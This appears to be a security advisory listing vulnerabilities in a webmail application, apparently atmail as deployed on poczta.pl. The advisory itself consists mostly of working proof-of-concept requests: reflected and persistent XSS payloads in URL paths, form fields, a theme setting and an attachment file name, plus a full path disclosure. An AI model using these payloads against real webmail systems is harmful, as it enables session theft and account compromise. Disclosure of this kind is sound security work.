1. Cross Site Scripting

 a) GET - viewmessageTabNumber

Request:
host/mail/index.php/mail/composemessage/index/viewmessageTabNumber/3"><h1>XSS<!--

Injection point (line 16):
<input type="hidden" name="tabId" value="viewmessageTab3"><h1>XSS<!--

PoC:
https://www.poczta.pl/mail/index.php/mail/composemessage/index/viewmessageTabNumber/3"><h1>XSS<!--

 b) POST - filter


POST /mail/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX.666/resultContext/searchResultsTab1 HTTP/1.1
Host: www.poczta.pl
searchQuery=&goBack=6&from=&to=&subject=&body=&filter=<script>alert(666)</script>

Alert will appear; injection point:
<div id=\"noMessageDisplay\" style=\"margin:10px;\">\n\t\t\t\tFound no messages matching <script>alert(666) (...)

 c) POST - Search Results Tab

Request:
POST /mail/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX/resultContext/searchResultsTab1"%20whats="up"%20bad=" HTTP/1.1
Host: http://www.poczta.pl

Injection point:
<input type=\"hidden\" name=\"resultContext\" id=\"resultContext\" value=\"searchResultsTab1\" whats=\"up\" bad=\"\" \/>

d) POST - page

Request:
POST /mail/index.php/mail/mail/listfoldermessages/selectFolder/INBOX/page/2"%20xss="true"%20bad=" HTTP/1.1
Host: www.poczta.pl

Injection point:
<input type=\"hidden\" name=\"pageNumber\" id=\"pageNumber\" value=\"2\" xss=\"true\" bad=\"\" \/>


2. Full Path Disclosure

Request (GET):
demo.atmail.com/mail/index.php/mail/mail/listfoldermessages/

Response:
An error occurred
script 'mail/listfoldermessages.phtml' not found in path (/usr/local/atmail/webmail/application/modules/mail/views/scripts/)

3. Persistent XSS - Theme Color

Request:
GET /mail/index.php/mail/settings/webmailsave?fields%5BcssColorTheme%5D=purple"%20onload=alert(666)%20bad="&save=1 HTTP/1.1
Host: www.poczta.pl

Now, whenever someone will login alert will appear.
Injection point:
<body class="leaderboard-ad-off footer-ad-off '"XSS fresh blue" onload=alert(666) bad="" id="calon">

4. Persistent XSS - Forward a Message

First, compose your message and attach an image. Image name should consist
JS code, for example: "><img src=x onerror=prompt(1)>.

Send message to a victim, whenever someone will 'Forward' the message,
JS will be executed:

<a class=\"attach-btn\" href=\"#\" onClick=\"removeAttachment('bobs.\\\"><img src=x onerror=prompt(1)> (...)

P.S - Login and password are sent as plaintext.
					... which is bad.
